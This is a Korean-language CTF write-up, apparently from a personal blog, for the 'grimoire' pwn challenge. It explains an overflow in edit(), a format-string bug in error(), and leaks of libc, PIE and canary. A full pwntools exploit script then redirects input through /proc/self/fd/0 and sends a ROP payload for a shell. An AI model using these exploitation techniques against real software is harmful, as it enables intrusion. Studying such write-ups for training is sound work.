grimoire.c, chall, libc.so.6이 주어진다. 근데 서버 닫혀서 로컬에서 풀었다.

grimoire.zip
865.1 kB

Find the Vulnerability

일단 너무 뻔하게 edit 함수에서 overflow가 발생한다. offset을 늘리면 받는 size를 그만큼 줄여야 하는데 그러지 않고 있기 때문이다.

image

text 뒤에 fp, init, filepath를 overwrite 할 수 있다.

void error(const char *s, char *errstring)
{
  errmsg = (char*)malloc(strlen(s) + strlen(colon) + strlen(errstring) + 2);
  snprintf(errmsg, malloc_usable_size(errmsg), "%s%s%s\n", s, colon, errstring);
  fprintf(stderr, errmsg);
  free(errmsg);
}

error 함수의 fprintf(stderr, errmsg) 에서 FSB가 가능하다.

void grimoire_open(void)
{
    fp = fopen(filepath, "r");
  if (fp == NULL) {
    error(filepath, "No such file or directory");
    puts("You lost the grimoire...");
    return;
  }
}

다른 함수들은 error 함수의 인자값으로 정해진 스트링이 주어지는데 open 함수에서만 filepath의 값을 전달한다. 즉, filepath의 값으로 FSB가 발생하게 filepath를 조작해주면 된다.

그렇다면 아까 본 메모리에서 fp와 init을 덮어주어야 하는데 fp의 값을 바꾸면 뭔가 오류가 발생할 것 같아서 안전하게 fp를 먼저 leak하기로 했다.

text를 0x200 만큼 꽉 채운다면 뒤에 fp의 주소값이 grimoire_read 함수에서 leak된다.

void grimoire_read(void)
{
  unsigned short size;
  if (init == 0) {
    init = 1;
    fseek(fp, 0, SEEK_END);
    size = ftell(fp);
    fseek(fp, 0, SEEK_SET);
}

size를 ftell 함수의 리턴값을 가진다. 그런데 ftell 함수는 오류가 발생하면 -1을 리턴하고 size는 0xffff 값이 되어 stack에도 overflow가 발생한다.

How to Exploit

1. FSB

FSB를 발생시켜보니, libc 주소와 pie base와 canary를 구할 수 있었다. 그런데 pointer로 fsb가 발생하여 우리가 원하는 주소에 어떤 값을 넣는 것은 이뤄질 수 없었다. 따라서 stack overflow를 발생시켜야 한다. 그리고 FSB를 발생시킬 때, filepath를 정상적으로 바꿔주지 않으면 그 후에 아무것도 진행할 수가 없다. 다행히도 filepath의 주소값이 FSB가 발생하면 나오고 %n으로 값을 넣어줄 수 있다.

처음에는 grimoire.txt로 다시 가려고 했지만 최대 4byte 까지 밖에 넣지 못하여 '.'라는 디렉토리 경로를 넣어주었다.

2. /proc/self/fd/0

filepath를 이 경로로 한다면 read 함수에서 buf에 data를 받을 때, 직접 입력하여 값을 넣어줄 수 있다. filepath를 이 경로로 바꾸고 rop를 구성하자.

Exploit Code

from pwn import *

def open():
    p.sendafter('> ', '1')

def read():
    p.sendafter('> ', '2')

def edit(Offset, payload):
    p.sendafter('> ', '3')
    p.sendafter('Offset: ', str(Offset))
    p.sendafter('Text: ', payload)

def close():
    p.sendafter('> ', '4')

p=process('./chall')
open()
read()

# 1. Leak the fp to overwrite well
edit(0, 'A'*0x1ff+'B')
read()
p.recvuntil('B')
fp = u64(p.recv(6)+'\x00'*2)
p.success('fp addr : '+hex(fp))

# 2. Overwrite the filepath & FSB
payload = p64(fp)+p64(1)+p64(0)+p64(0)
payload += '%3$p%10$p%22$p%6$n'
edit(0x200, payload)
close()
open()
leak = p.recvline()
pie_base = int(leak[:14], 16)-0x162a
canary = int(leak[14:32], 16)
libc_base = int(leak[32:46], 16)-0x21b97
p.success('libc base : '+hex(libc_base))

# 3. Edit the file path to /proc/self/fd/0
open()
read()
payload = p64(fp)+p64(1)+p64(0)+p64(0)
payload += '/proc/self/fd/0\x00'
edit(0x200, payload)
close()
open()

# 4. ROP
read()
payload = 'A'*0x208+p64(canary)+'A'*0x8
payload += p64(libc_base+0x10a38c)
payload = payload.ljust(0xffff, '\x00')
p.send(payload)

p.interactive()

Capture the Flag

image


'Writeup [pwn] > CTF 대회 기출' 카테고리의 다른 글

[VolgaCTF 2020 Quals] Notepad--  (0) 2020.04.01
[zer0pts CTF 2020] babybof  (0) 2020.03.19
[zer0pts CTF 2020] protrude  (0) 2020.03.15
[zer0pts CTF 2020] diylist  (0) 2020.03.12
[zer0pts CTF 2020] hipwn  (0) 2020.03.11

+ Recent posts